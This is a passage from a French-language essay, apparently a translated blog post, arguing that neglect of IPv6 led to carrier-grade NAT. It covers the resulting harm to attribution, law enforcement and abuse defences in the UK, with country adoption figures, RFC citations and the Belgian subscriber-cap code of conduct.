l\u0026rsquo;existence du web, distribués quand les adresses étaient gratuites et que personne ne comptait.\nTous ceux venus après eux paient pour ça. AWS a commencé à facturer 0,005 $ l\u0026rsquo;heure pour chaque adresse IPv4 publique le 1er février 2024 — 43,80 $ par an, chacune — et a dit clairement pourquoi : le coût d\u0026rsquo;en acquérir une « has risen more than 300% over the past 5 years » — a augmenté de plus de 300 % sur les cinq dernières années. La pénurie est réelle et elle a un prix. Il n\u0026rsquo;est juste pas payé par les gens détenant quatre millions d\u0026rsquo;adresses qu\u0026rsquo;ils ont eues pour rien en 1991.\nComment nous nous situons face à des pays comme nous Deux chiffres par pays. Le premier est la part de sa population qui atteint Google en IPv6 natif, qui est la mesure de Google le 25 août 2026. Le second est la part de ses réseaux actifs qui annoncent un préfixe IPv6, qui est la mienne, à partir des mêmes fichiers que ci-dessus. Je l\u0026rsquo;ai gardé aux économies développées. Nous comparer à des pays qui ont eu l\u0026rsquo;internet tard ne vous dit rien sur nous. Ordonné par population.\nPays Utilisateurs en IPv6 Réseaux avec IPv6 Réseaux actifs France 85,6 % 48,5 % 1 368 Allemagne 76,6 % 63,9 % 2 291 Belgique 72,8 % 45,8 % 273 États-Unis 56,6 % 25,9 % 18 453 Japon 56,1 % 56,4 % 721 Royaume-Uni 53,7 % 42,3 % 2 078 Norvège 52,6 % 66,9 % 278 Pays-Bas 51,9 % 61,8 % 1 023 Canada 43,6 % 33,1 % 1 578 Irlande 38,1 % 41,5 % 195 Australie 37,2 % 26,3 % 1 652 Suède 36,1 % 53,6 % 642 Corée du Sud 18,1 % 5,3 % 916 Italie 17,6 % 35,8 % 1 078 Espagne 13,3 % 26,7 % 934 Sixième sur quinze. La France a les deux tiers de plus de sa population en IPv6 que nous, sur la même chaîne d\u0026rsquo;approvisionnement européenne, sous les mêmes équipementiers, avec les mêmes clients leur disant que personne ne demande. L\u0026rsquo;Allemagne est vingt-trois points devant nous sur les utilisateurs et vingt-deux points devant sur les réseaux.\nLes deux colonnes de pourcentage ne sont pas d\u0026rsquo;accord entre elles, et le désaccord est l\u0026rsquo;histoire.\nUtilisateurs en IPv6 contre réseaux portant IPv6, quinze économies développées Gens en IPv6, contre réseaux portant IPv6 Mesure utilisateur de Google, 25 août 2026, contre mon décompte des réseaux actifs annonçant un préfixe IPv6, 27 août 2026. part des gens part des réseaux France 85,6 % 48,5 % Allemagne 76,6 % 63,9 % Belgique 72,8 % 45,8 % États-Unis 56,6 % 25,9 % Japon 56,1 % 56,4 % Royaume-Uni 53,7 % 42,3 % Norvège 52,6 % 66,9 % Pays-Bas 51,9 % 61,8 % Canada 43,6 % 33,1 % Irlande 38,1 % 41,5 % Australie 37,2 % 26,3 % Suède 36,1 % 53,6 % Corée du Sud 18,1 % 5,3 % Italie 17,6 % 35,8 % Espagne 13,3 % 26,7 % 0 % 20 % 40 % 60 % 80 % 100 % Une longue barre bleue sur une courte rose veut dire que trois ou quatre opérateurs ont fait le travail et le reste du pays non. La France, la Belgique, les États-Unis et le Royaume-Uni ont tous cette forme. La Norvège, la Suède et le Japon non. Les mêmes quinze pays sur les deux mesures, ordonnés par la part de gens utilisant IPv6. Là où la barre réseau est bien plus courte que la barre utilisateur, quelques grands opérateurs portent le pays et personne d\u0026rsquo;autre ne s\u0026rsquo;est donné la peine. C\u0026rsquo;est la forme des États-Unis, de la Belgique, de la France — et du Royaume-Uni. Le pourcentage utilisateur d\u0026rsquo;un pays est fixé par trois ou quatre entreprises. Le pourcentage réseau est fixé par tous les autres. Quand le premier est haut et le second bas, ça veut dire que les grands réseaux d\u0026rsquo;accès ont fait le travail et que le reste du pays a fait du parasitisme dessus.\nLes États-Unis sont le cas le plus net : 56,6 % de leur population est en IPv6 et seulement 25,9 % de leurs réseaux le sont. Les câblo-opérateurs et les opérateurs mobiles portent presque tout le monde. Les dix-huit mille autres réseaux américains n\u0026rsquo;ont rien fait.\nLe nôtre est le même tour avec de plus petits chiffres — 53,7 % d\u0026rsquo;utilisateurs contre 42,3 % de réseaux. Ces 53,7 % ne sont pas un accomplissement national. C\u0026rsquo;est Sky et BT, et une erreur d\u0026rsquo;arrondi de tous les autres.\nLa Norvège et la Suède sont la contre-forme honnête : moins d\u0026rsquo;utilisateurs en IPv6 que nous, plus de réseaux le portant. Plus de leur industrie a réellement fait le travail, et ce sont les FAI grand public qui traînent plutôt que le métier.\nEt une ligne mérite un regard plus proche, parce que c\u0026rsquo;est celle que les gens saisissent quand ils veulent se sentir mieux à notre sujet.\nLa Corée du Sud est le pire pays de cette liste, de loin. Des 916 réseaux coréens actifs, 61 annoncent IPv6. Soixante et un.\nParmi le haut débit domestique le plus rapide de la terre, une industrie de puces qui imprime de l\u0026rsquo;argent, et 94,7 % de ses réseaux ne l\u0026rsquo;ont jamais allumé. Les trois grands opérateurs — KT, SK Broadband et LG U+ — l\u0026rsquo;annoncent tous, ce qui est pourquoi 18,1 % des utilisateurs coréens l\u0026rsquo;ont. Les huit cent cinquante autres réseaux n\u0026rsquo;ont rien fait.\nQuelle que soit l\u0026rsquo;excuse là-bas, ce n\u0026rsquo;est pas l\u0026rsquo;argent, ce n\u0026rsquo;est pas la capacité, et ce n\u0026rsquo;est pas l\u0026rsquo;état de la fibre.\nVingt ans à boulonner des choses Voici ce que l\u0026rsquo;industrie a construit au lieu de taper les adresses.\nQuand les adresses ont commencé à manquer, la réponse a été le NAT à l\u0026rsquo;échelle opérateur : mettre des centaines de clients derrière une seule adresse IPv4 publique et traduire entre eux. Tout ce qui est ci-dessous existe pour rendre ça survivable, et chacun de ces documents est un morceau de travail d\u0026rsquo;ingénierie que quelqu\u0026rsquo;un a choisi de faire plutôt que de déployer IPv6.\nRustine À quoi ça sert RFC 6598 (2012) Brûle un /10 entier — quatre millions d\u0026rsquo;adresses — comme « espace d\u0026rsquo;adressage partagé », pour que le contournement de la pénurie ait besoin de ses propres adresses RFC 6333 (2011) DS-Lite : tunneliser IPv4 sur le réseau IPv6 que vous avez bâti mais n\u0026rsquo;avez pas donné au client RFC 6877 (2013) 464XLAT : traduire IPv4 en IPv6 et retour sur le même trajet RFC 6888 (2013) La liste des exigences qu\u0026rsquo;un NAT à l\u0026rsquo;échelle opérateur doit satisfaire pour ne pas être dangereux RFC 7021 (2013) Une étude complète des applications que le NAT à l\u0026rsquo;échelle opérateur casse RFC 7422 (2014) Correspondance d\u0026rsquo;adresses déterministe, inventée uniquement pour empêcher le volume de journalisation de ruiner le fournisseur RFC 7597 / 7599 (2015) MAP-E et MAP-T : deux façons de plus de porter IPv4 sur IPv6 sans admettre qu\u0026rsquo;on a IPv6 Vingt ans de contournements contre le seul changement qu'ils remplacent Ce que nous avons bâti à la place, et au lieu de quoi Éviter IPv6 Espace partagé — un /10 entier brûlé RFC 6598, 2012 DS-Lite — tunneliser IPv4 sur un cœur IPv6 RFC 6333, 2011 464XLAT — traduire hors d'IPv4 et retour RFC 6877, 2013 Des règles pour rendre le CGN survivable RFC 6888, 2013 Une étude des applications qu'il casse RFC 7021, 2013 Correspondance déterministe pour les journaux RFC 7422, 2014 MAP-E et MAP-T — IPv4 sur IPv6 encore RFC 7597/9, 2015 Plus le niveau NAT lui-même : tables de session, allocation de ports, passerelles, bascule, capacité, un pipeline de journaux — et une loi de conservation votée pour masquer l'attribution qu'il a détruite. Faire IPv6 Double pile Une famille d'adresses de plus, sur le protocole de routage et la politique de pare-feu en place. Pas de nouveau niveau dans le trafic. Pas d'état de session à dimensionner. Pas de journaux pour une loi. Gratuit au registre. Les deux colonnes sont du travail d'ingénierie, et celle de gauche est plus grande. La différence est que le travail de gauche peut s'acheter à un fournisseur, et celui de droite doit être compris par les gens qui possèdent le réseau. Deux décennies de travail de normalisation, de matériel et de journalisation, tout au service de ne pas faire la chose à droite. La double pile est une famille d\u0026rsquo;adresses ajoutée à côté de celle que vous faites déjà tourner. Tout à gauche existe pour l\u0026rsquo;éviter. Regardez la forme de ça. Chaque élément de la liste est plus dur que la double pile. Tunneliser IPv4 dans IPv6 est strictement plus de travail que router IPv6, parce qu\u0026rsquo;il faut router l\u0026rsquo;IPv6 de toute façon pour porter le tunnel. Traduire entre familles est plus de travail que ne pas traduire. Un NAT à l\u0026rsquo;échelle opérateur est une boîte à états au milieu de votre réseau, avec de la planification de capacité, de la bascule, des tables de session, de l\u0026rsquo;allocation de blocs de ports, des passerelles de couche applicative pour les protocoles qu\u0026rsquo;il casse, et un pipeline de journalisation dimensionné pour une obligation légale.\nLa double pile est une famille d\u0026rsquo;adresses, un protocole de routage que vous faites déjà tourner, et une politique de pare-feu que vous avez déjà écrite.\nL\u0026rsquo;industrie a regardé ces deux options et a choisi la chère, vingt ans de suite, parce que la chère pouvait s\u0026rsquo;acheter et la bon marché devait se comprendre. Acheter une boîte est un exercice d\u0026rsquo;achat. Allumer IPv6 veut dire que quelqu\u0026rsquo;un dans le bâtiment doit savoir comment le réseau marche.\nCe que ça casse réellement Pour quiconque pense que c\u0026rsquo;est de l\u0026rsquo;esthétique, voici ce qu\u0026rsquo;une adresse partagée coûte à vos utilisateurs, dans l\u0026rsquo;ordre où ils vous appelleront à ce sujet.\nRien ne peut entrer. Pas de redirection de port, donc pas d\u0026rsquo;auto-hébergement de quoi que ce soit, pas de console de jeu jouant l\u0026rsquo;hôte, pas de VPN site à site sans relais, pas de caméra de sécurité sans cloud fournisseur, pas d\u0026rsquo;accès distant à la chose de l\u0026rsquo;autre site. Chacun de ceux-là se fait remplacer par un service de rendez-vous tiers, qui est une entreprise de plus détenant vos données parce que votre fournisseur ne vous donnait pas une adresse.\nVous héritez de la réputation d\u0026rsquo;inconnus. Partagez une adresse avec quelques centaines de gens et vous partagez leur comportement. Limitations de débit, CAPTCHA, blocages Wikipédia, erreurs géographiques de streaming et notation de fraude atterrissent tous sur vous pour quelque chose que quelqu\u0026rsquo;un d\u0026rsquo;autre a fait.\nLes ports s\u0026rsquo;épuisent. Un NAT à l\u0026rsquo;échelle opérateur a 65 535 ports par adresse publique par protocole, et une seule session de navigateur moderne en mange des dizaines. Sur-souscrivez et la défaillance n\u0026rsquo;est pas une erreur propre. C\u0026rsquo;est un défaut lent, intermittent, non reproductible qui ressemble à tout sauf à ce qu\u0026rsquo;il est, et il brûle des jours de temps de support par incident.\nChaque contournement doit être maintenu à jamais, par des gens qui auraient pu passer ce temps sur le correctif.\nEt puis il y a celui qui a cessé d\u0026rsquo;être un désagrément et est devenu le problème de tout le monde. Personne ne peut dire qui a fait quoi.\nLa rustine qui a atteint le Parlement Une fois que des centaines de clients partagent une adresse, une adresse n\u0026rsquo;identifie plus personne. Donc la police ne peut pas résoudre une adresse IP à une personne, et la réponse à ça n\u0026rsquo;a pas été IPv6. C\u0026rsquo;était de la législation.\nL\u0026rsquo;article 21 du Counter-Terrorism and Security Act 2015 a amendé le régime de conservation des données précisément pour que le Secretary of State puisse contraindre les fournisseurs à conserver les données supplémentaires nécessaires « to link the unique attributes of a public Internet Protocol (IP) address to the person (or device) using it at any given time » — pour lier les attributs uniques d\u0026rsquo;une adresse IP publique à la personne (ou l\u0026rsquo;appareil) l\u0026rsquo;utilisant à un moment donné. Les notes explicatives sont nettes sur pourquoi il fallait : les fournisseurs « may share IP addresses between multiple users, and the providers generally have no business purpose for keeping a log of who used each address at a specific point in time » — peuvent partager des adresses IP entre plusieurs utilisateurs, et n\u0026rsquo;ont généralement aucune raison commerciale de tenir un journal de qui a utilisé chaque adresse à un instant précis.\nLisez ça en ingénieur plutôt qu\u0026rsquo;en juriste. L\u0026rsquo;industrie a cassé l\u0026rsquo;attribution pour s\u0026rsquo;épargner du travail, et le Parlement a voté une loi l\u0026rsquo;obligeant à bâtir un système de journalisation pour masquer la casse.\nDeux ans plus tard Europol l\u0026rsquo;a dit platement. En octobre 2017 il a publié un appel à l\u0026rsquo;industrie pour cesser d\u0026rsquo;utiliser le NAT à l\u0026rsquo;échelle opérateur, avec des chiffres : 90 % des fournisseurs d\u0026rsquo;accès internet mobile et 50 % des fournisseurs de ligne fixe avaient adopté une technologie qui les empêchait d\u0026rsquo;identifier leurs propres abonnés. Le directeur exécutif d\u0026rsquo;alors d\u0026rsquo;Europol a dit que le CGN « has created a serious online capability gap in law enforcement efforts to investigate and attribute crime » — a créé une grave lacune de capacité en ligne dans les efforts des forces de l\u0026rsquo;ordre pour enquêter et attribuer le crime —, et a noté qu\u0026rsquo;il « forces judiciary and law enforcement authorities to investigate many more individuals than would normally be necessary » — force les autorités judiciaires et policières à enquêter sur bien plus d\u0026rsquo;individus qu\u0026rsquo;il ne serait normalement nécessaire.\nEuropol a aussi dit la partie silencieuse. Le NAT à l\u0026rsquo;échelle opérateur « was supposed to be a temporary solution until the transition to IPv6 was completed » — était censé être une solution temporaire jusqu\u0026rsquo;à ce que la transition vers IPv6 soit achevée. À la place l\u0026rsquo;industrie a continué d\u0026rsquo;en augmenter l\u0026rsquo;usage tandis que le remplacement était là, fini, gratuit et ignoré.\nDonc le coût de ne pas déployer IPv6 comprend : une loi primaire, une obligation de conservation à l\u0026rsquo;échelle nationale, des innocents entraînés dans des enquêtes parce qu\u0026rsquo;ils partageaient une adresse avec quelqu\u0026rsquo;un qui ne l\u0026rsquo;était pas, et une lacune de capacité continue que la police décrit comme un problème de sécurité publique.\nPersonne n\u0026rsquo;a mis ça sur l\u0026rsquo;argument commercial. Ça n\u0026rsquo;apparaît jamais dans la diapositive « IPv6 n\u0026rsquo;a pas de retour sur investissement », parce que ce n\u0026rsquo;est pas payé par les gens qui l\u0026rsquo;ont causé.\nÇa ne fait pas que cacher les criminels. Ça les aide. L\u0026rsquo;argument de l\u0026rsquo;attribution est celui que font les forces de l\u0026rsquo;ordre, et il porte sur attraper les gens après coup. Il y a un second argument qui se fait bien moins souvent et qui est pire : le partage d\u0026rsquo;adresses dégrade activement les défenses qui empêchent les attaques d\u0026rsquo;arriver tout court.\nCe n\u0026rsquo;est pas mon analyse. L\u0026rsquo;IETF a publié le catalogue dans le RFC 6269, Issues with IP Address Sharing, en juin 2011. C\u0026rsquo;était avant que le Royaume-Uni ne déploie l\u0026rsquo;essentiel du NAT à l\u0026rsquo;échelle opérateur qu\u0026rsquo;il fait tourner maintenant. Ses mots simples : le partage d\u0026rsquo;adresses « creates a vector for attack amplification in numerous ways » — crée un vecteur d\u0026rsquo;amplification d\u0026rsquo;attaque de nombreuses façons.\nVoici ce qu\u0026rsquo;il a averti qui casserait, et a cassé.\nLes limitations de débit et les verrouillages cessent de marcher. La défense standard contre la devinette de mots de passe et le bourrage d\u0026rsquo;identifiants est de compter les échecs par adresse et de mettre le fautif au coin. Partagez cette adresse entre des centaines de gens et le compteur mesure une foule. Le RFC 6269 est net sur le résultat : « In the presence of widespread large-scale address sharing, penalty box solutions to service abuse simply will not work » — en présence d\u0026rsquo;un partage d\u0026rsquo;adresses à grande échelle et généralisé, les solutions de mise au coin contre l\u0026rsquo;abus de service ne marcheront tout simplement pas. Les connexions ratées d\u0026rsquo;un utilisateur verrouillent tous les autres, donc les opérateurs relèvent les seuils, et relever les seuils est ce que l\u0026rsquo;attaquant voulait.\nLe blocage devient un dommage collatéral. Bloquez le spammeur et vous bloquez la route où il vit. Donc l\u0026rsquo;opérateur sensé cesse de bloquer, et l\u0026rsquo;abus continue depuis une adresse que personne n\u0026rsquo;ose toucher.\nLes machines infectées restent infectées. Les flux d\u0026rsquo;abus et les notifications de malware arrivent comme une adresse et un horodatage. Derrière un CGN sans journalisation de ports, le fournisseur ne peut pas dire lequel de ses clients fait tourner le bot, donc le client n\u0026rsquo;est jamais prévenu et l\u0026rsquo;infection reste active. Pire, le RFC 6269 note le problème inverse : « someone else\u0026rsquo;s worm can interfere with the ability to access the service for other subscribers sharing the same IP address » — le ver de quelqu\u0026rsquo;un d\u0026rsquo;autre peut gêner la capacité d\u0026rsquo;accéder au service pour les autres abonnés partageant la même adresse IP.\nLe contrôle d\u0026rsquo;accès par adresse échoue. Chaque liste d\u0026rsquo;autorisation bâtie sur l\u0026rsquo;adresse source admet maintenant une foule plutôt qu\u0026rsquo;un client.\nEt une défense est mesurablement affaiblie plutôt que simplement émoussée. Les attaques TCP à l\u0026rsquo;aveugle dépendent de deviner le quintuplet, et la mitigation de l\u0026rsquo;industrie est de randomiser le port source (RFC 6056). Un NAT à l\u0026rsquo;échelle opérateur remet à chaque abonné une tranche de la plage de ports plutôt que la totalité. Dans les mots du RFC 6269, « with shared IPv4 addresses, the port selection space is reduced » — avec des adresses IPv4 partagées, l\u0026rsquo;espace de sélection de ports est réduit. Le contournement de la pénurie d\u0026rsquo;adresses retire directement de l\u0026rsquo;entropie à un mécanisme anti-attaque.\nPuis il y a la partie qui devrait inquiéter n\u0026rsquo;importe qui, quoi qu\u0026rsquo;il pense de la police. Si le serveur n\u0026rsquo;a pas journalisé les ports source et que le NAT n\u0026rsquo;a pas journalisé les destinations, le RFC 6269 énonce ce qu\u0026rsquo;un fournisseur doit faire quand une requête légale arrive : il « would need to disclose the identity of all subscribers who had active sessions on the NAT during the time period in question. This may be a large number of subscribers » — devrait divulguer l\u0026rsquo;identité de tous les abonnés ayant eu des sessions actives sur le NAT pendant la période en question. Ce peut être un grand nombre d\u0026rsquo;abonnés.\nL\u0026rsquo;alternative à identifier un abonné coupable est de remettre l\u0026rsquo;identité de plusieurs centaines d\u0026rsquo;innocents. C\u0026rsquo;est le vrai résultat en matière de vie privée du partage d\u0026rsquo;adresses, et c\u0026rsquo;est l\u0026rsquo;opposé de celui que ses défenseurs lui prêtent.\nTrois choses doivent s\u0026rsquo;aligner, et personne n\u0026rsquo;est tenu d\u0026rsquo;en fournir aucune Les gens supposent que les journaux existent quelque part et que c\u0026rsquo;est affaire de demander. La plupart du temps ils n\u0026rsquo;existent pas, et la raison est arithmétique plutôt que malveillance.\nPour retransformer une adresse partagée en un foyer, trois choses séparées doivent toutes s\u0026rsquo;être bien passées :\nLe serveur distant a journalisé le port source. Le RFC 6302 a demandé aux serveurs exposés à l\u0026rsquo;internet de journaliser le port source et l\u0026rsquo;horodatage à côté de l\u0026rsquo;adresse, en 2011. C\u0026rsquo;est une recommandation. Personne ne l\u0026rsquo;impose, et un grand nombre de serveurs journalisent encore l\u0026rsquo;adresse seule. Auquel cas la piste est morte avant d\u0026rsquo;atteindre le bout britannique. Le fournisseur a gardé la correspondance. Chaque session, pendant des mois. Les horloges étaient d\u0026rsquo;accord. Le RFC 6269 avertit que sur un CGN chargé « even very small amounts of clock skew between a third party\u0026rsquo;s server and the CGN operator will result in ambiguity about which customer was using a specific port at a given time » — même de très petites dérives d\u0026rsquo;horloge entre le serveur d\u0026rsquo;un tiers et l\u0026rsquo;opérateur du CGN entraîneront une ambiguïté sur quel client utilisait un port précis à un moment donné. Manquez-en une seule et vous n\u0026rsquo;avez rien. Et celle du milieu est là où ça s\u0026rsquo;effondre, parce que les documents de normalisation contiennent les calculs.\nLe RFC 7422 a mis de vrais chiffres dessus. Les opérateurs ont rapporté environ 33 000 connexions par foyer par jour. À environ 150 octets par entrée de journal ça fait 5 Mo par abonné par jour, 150 Mo par mois. Pour un fournisseur d\u0026rsquo;un million d\u0026rsquo;abonnés : 150 téraoctets de journaux par mois, 1,8 pétaoctet par an — à garder pendant les six à douze mois que la loi attend, et à chercher sur demande.\nEt ce n\u0026rsquo;est jamais un seul journal. NAT444, le cas pour lequel le RFC 7422 dimensionne ses entrées, met une traduction dans le routeur du client et une autre chez l\u0026rsquo;opérateur, et chaque porte qu\u0026rsquo;un paquet franchit doit noter ce qu\u0026rsquo;elle a fait. Reconstruire une seule session veut dire corréler des tables séparées, tenues par des parties séparées, contre le problème d\u0026rsquo;horloge ci-dessus. La preuve arrive en morceaux de systèmes différents, ou elle n\u0026rsquo;arrive pas.\nEt l\u0026rsquo;argent n\u0026rsquo;en est que la moitié. Capturer des enregistrements de session à ce rythme, les expédier quelque part, les indexer pour qu\u0026rsquo;une requête légale revienne en heures plutôt qu\u0026rsquo;en semaines, et garder le tout un an est un projet d\u0026rsquo;ingénierie des données. Il n\u0026rsquo;y a pas de tableau de bord pour ça et pas de boîte à acheter. Ça doit être bâti par quelqu\u0026rsquo;un qui comprend ce qu\u0026rsquo;il bâtit, et ce n\u0026rsquo;est pas du pointer-cliquer, ce qui dans cette industrie est assez proche de dire que ça n\u0026rsquo;est pas bâti.\nPersonne n\u0026rsquo;allait jamais payer pour ça non plus. Et l\u0026rsquo;IETF le savait, ce qui est pourquoi le RFC 6888 dit aux opérateurs l\u0026rsquo;opposé de ce dont la sécurité publique a besoin : « A CGN\u0026rsquo;s port allocation scheme SHOULD minimize log volume » — le schéma d\u0026rsquo;allocation de ports d\u0026rsquo;un CGN DEVRAIT minimiser le volume de journaux —, justifié parce que « huge log volumes can be problematic to CGN operators » — d\u0026rsquo;énormes volumes de journaux peuvent être problématiques pour les opérateurs de CGN. Le RFC 7422 n\u0026rsquo;existe pour aucun autre but que de rabattre cette facture.\nDonc le conseil de conception à l\u0026rsquo;industrie est journalisez moins, l\u0026rsquo;économie dit que 1,8 pétaoctet par an est inabordable, et l\u0026rsquo;attente légale est un enregistrement complet. Ces trois-là ne peuvent pas être vrais à la fois, et celui qui cède est l\u0026rsquo;enregistrement.\nC\u0026rsquo;est pourquoi Europol a trouvé que la majorité des fournisseurs d\u0026rsquo;accès ne peuvent pas identifier un abonné quand on leur signifie une ordonnance légale. Pas parce qu\u0026rsquo;ils font obstruction. Parce que la chose demandée n\u0026rsquo;était jamais économiquement possible à garder, et personne n\u0026rsquo;a jamais été contraint.\nDeux choses en découlent, et elles sont miennes plutôt que la citation de quiconque.\nPremièrement : une grande part des connexions internet britanniques sont non attribuables par construction. Le mobile est le cas le plus net, et une mesure indépendante le situe plus haut qu\u0026rsquo;Europol, à 95 %. Donc l\u0026rsquo;anonymat qui exigeait avant Tor, ou un VPN que quelqu\u0026rsquo;un devait acheter, est maintenant le réglage d\u0026rsquo;usine d\u0026rsquo;une connexion mobile britannique — délivré gratuit avec la SIM, à tout le monde, y compris le petit nombre de gens que tout l\u0026rsquo;appareil est censé trouver.\nDeuxièmement, et pire : casser la méthode ciblée bon marché est ce qui produit la demande pour la chère non ciblée. Quand vous pouvez signifier un mandat sur une adresse et obtenir un foyer, vous n\u0026rsquo;avez besoin de rien d\u0026rsquo;autre. Quand ça cesse de marcher, l\u0026rsquo;État ne hausse pas les épaules. Il saisit quelque chose de plus large. C\u0026rsquo;est ce qu\u0026rsquo;était la loi de 2015 : un devoir de conservation sur toute la base d\u0026rsquo;abonnés, pour répondre à des questions sur une poignée de gens.\nRien de tout ça n\u0026rsquo;existe de l\u0026rsquo;autre côté. Rien n\u0026rsquo;est traduit, donc il n\u0026rsquo;y a aucun enregistrement par connexion à garder du tout. L\u0026rsquo;adresse dans le journal du serveur distant est déjà le préfixe de l\u0026rsquo;abonné : un enregistrement, écrit une fois quand la ligne a été provisionnée, dans un système. Même un fournisseur faisant tourner les préfixes quotidiennement écrit quelques centaines par an par client, contre les douze millions que 33 000 connexions par jour font. Ce n\u0026rsquo;est pas qu\u0026rsquo;IPv6 journalise moins. Il n\u0026rsquo;y a rien à journaliser.\nLes gens qui ont écrit le contournement le savaient. Au milieu d\u0026rsquo;une spécification écrite sans autre raison que de rendre le CGN abordable à journaliser, ils se sont arrêtés pour consigner que « native IPv6 will offer subscribers a better experience than CGN » — l\u0026rsquo;IPv6 natif offrira aux abonnés une meilleure expérience que le CGN.\nUne industrie a refusé de dépenser une quinzaine par réseau sur un protocole gratuit, et le pays a eu un régime de conservation des données à la place.\nCorriger ça protégerait-il les enfants mieux que l\u0026rsquo;Online Safety Act ? Je veux être prudent ici, parce qu\u0026rsquo;il est facile de mal faire cet argument et la version mal faite mérite le tacle qu\u0026rsquo;elle recevrait.\nCommencez par comment une enquête sur l\u0026rsquo;abus d\u0026rsquo;enfants se déroule réellement. Une plateforme détecte le matériel et le signale. Le signalement porte une adresse et un horodatage. La police signifie au fournisseur d\u0026rsquo;accès de transformer ça en un abonné, et l\u0026rsquo;abonné est une adresse dans le monde réel avec une porte dessus. C\u0026rsquo;est toute la chaîne, et chaque étape après dépend de celle d\u0026rsquo;avant.\nMaintenant mettez un NAT à l\u0026rsquo;échelle opérateur au milieu. Le signalement arrive encore. L\u0026rsquo;adresse se résout encore. Vers plusieurs centaines de foyers, et Europol a trouvé des enquêtes « dropped or delayed » — abandonnées ou retardées — en conséquence. Leurs exemples de cas incluent un procureur incapable d\u0026rsquo;identifier les membres d\u0026rsquo;un forum soutenant l\u0026rsquo;EIIL, donc la poursuite n\u0026rsquo;a pas eu lieu, et le HMRC traçant une fraude fiscale de masse vers des adresses mobiles et trouvant les pistes « frustrated from the outset » — contrariées dès le départ.\nLa CyberTipline du NCMEC a pris 21,3 millions de signalements en 2025 et en a renvoyé plus de 18,8 millions aux forces de l\u0026rsquo;ordre, dont plus de 53 000 impliquant un enfant en danger immédiat. Le NCMEC consigne aussi que plus de 10 % des signalements de l\u0026rsquo;industrie sont arrivés avec des informations trop pauvres pour déterminer à quelle juridiction les envoyer. Ce chiffre n\u0026rsquo;est pas l\u0026rsquo;œuvre du CGNAT et je ne prétends pas qu\u0026rsquo;il l\u0026rsquo;est — mais il vous dit où dans ce pipeline les affaires meurent. Elles meurent sur les métadonnées.\nDonc la version honnête de la comparaison est celle-ci. Le NAT à l\u0026rsquo;échelle opérateur casse le dernier kilomètre même de l\u0026rsquo;Online Safety Act. Le Parlement a imposé des devoirs de détecter et signaler, et a laissé le réseau d\u0026rsquo;accès incapable de résoudre ce qui est signalé. Vous pouvez voter autant de devoirs de signalement que vous voulez. Si l\u0026rsquo;étape finale renvoie une foule, le signalement est du papier.\nEt le coût des deux choses n\u0026rsquo;est pas comparable de loin. La loi est la plus grande pièce de régulation internet que ce pays ait tentée — des milliers de services concernés, un régulateur écrivant des codes pendant des années, une vérification d\u0026rsquo;âge tournant à des millions de contrôles par jour, et un problème de contournement assez grand pour que le Parlement ait débattu de l\u0026rsquo;usage des VPN à la Chambre des lords. IPv6 ne coûte rien au registre et prend à une équipe compétente une couple de semaines. L\u0026rsquo;une de ces choses a été exigée de toute l\u0026rsquo;industrie. L\u0026rsquo;autre n\u0026rsquo;a jamais été demandée à personne.\nTrois choses doivent être dites platement, parce que l\u0026rsquo;argument est sans valeur sans elles.\nUne. Ce n\u0026rsquo;est pas un substitut, et je ne le propose pas comme tel. IPv6 ne fait rien pour empêcher un enfant de douze ans de trouver de la pornographie. Il ne fait rien sur les systèmes de recommandation, la lecture automatique ou la diffusion en direct. Il ne fait rien sur le matériel hébergé dans un autre pays, ce qui est l\u0026rsquo;essentiel. Ce sont les problèmes pour lesquels la loi a été écrite et aucun changement de protocole ne les touche.\nDeux. IPv6 n\u0026rsquo;est pas une couche d\u0026rsquo;identité, et quiconque le vend comme telle le survend. Les extensions de vie privée font tourner l\u0026rsquo;adresse d\u0026rsquo;un appareil par conception, donc l\u0026rsquo;adresse de la machine n\u0026rsquo;est pas la chose stable. Ce qui est stable est le préfixe délégué à la ligne — le /56 que Sky remet à chaque abonné depuis 2016. Ça se résout à un abonné, ce qui est exactement la résolution dont une requête légale a besoin, et pas plus. C\u0026rsquo;est une restauration de ce qu\u0026rsquo;une seule adresse IPv4 par ligne donnait avant, pas une nouvelle capacité de surveillance.\nTrois. La propriété qui contrarie la police contrarie aussi tous les autres qui vous pistent, et certains gens la valorisent. Être l\u0026rsquo;un de cinq cents derrière une adresse partagée est une vraie couverture de foule contre le profilage commercial. Je ne pense pas qu\u0026rsquo;elle vaille ce qu\u0026rsquo;elle coûte — c\u0026rsquo;est une couverture achetée en rendant l\u0026rsquo;abus non attribuable et la limitation de débit inutile, et c\u0026rsquo;est une couverture que les plateformes voient de toute façon à travers avec les cookies et l\u0026rsquo;empreinte. Mais c\u0026rsquo;est un vrai argument et il mérite d\u0026rsquo;être énoncé plutôt qu\u0026rsquo;ignoré.\nDonc non, ce n\u0026rsquo;est pas IPv6 à la place de l\u0026rsquo;Online Safety Act. C\u0026rsquo;est que la Grande-Bretagne a écrit la loi de sécurité en ligne la plus chère de son histoire par-dessus une plomberie qu\u0026rsquo;elle savait cassée, quand le correctif était gratuit, bien documenté, et disponible pendant tout le temps où le projet de loi était rédigé.\nCe qu\u0026rsquo;il faut réellement demander Pas une interdiction. Une interdiction est le mauvais instrument et se retournerait contre nous.\nIl ne reste pas d\u0026rsquo;IPv4 à distribuer — RIPE est vide depuis novembre 2019, et un nouveau fournisseur obtient un seul /24 d\u0026rsquo;une liste d\u0026rsquo;attente. Interdisez le partage d\u0026rsquo;adresses demain et le petit opérateur ne peut plus connecter de clients du tout, tandis que les structures assises sur des blocs de classe B de 1990 continuent intactes. Ça enracinerait exactement les gens dont parle ce billet.\nLe meilleur instrument existe déjà et quelqu\u0026rsquo;un a déjà mené l\u0026rsquo;expérience.\nEn 2012 la police fédérale belge, son régulateur des télécoms, son Collège des procureurs généraux et son association de FAI ont signé un code de conduite volontaire de deux pages. Maximum 16 abonnés derrière une adresse IPv4. Limiter l\u0026rsquo;usage du CGN. Commencer à adopter IPv6.\nDès 2017 la plupart des opérateurs belges étaient sous la limite, l\u0026rsquo;un était descendu à 8, et la police belge voyait en moyenne quatre utilisateurs par adresse mobile. Le propre résumé d\u0026rsquo;Europol du pourquoi est la partie qui vaut d\u0026rsquo;être lue deux fois : les plus grands fournisseurs « are quickly moving towards IPv6 because no financial interest to invest in CGN anymore » — se dirigent rapidement vers IPv6 parce qu\u0026rsquo;il n\u0026rsquo;y a plus d\u0026rsquo;intérêt financier à investir dans le CGN. Plafonnez la sur-souscription et l\u0026rsquo;économie du contournement s\u0026rsquo;effondre, parce qu\u0026rsquo;un NAT qui ne peut empiler que seize personnes n\u0026rsquo;est pas moins cher que le protocole qui 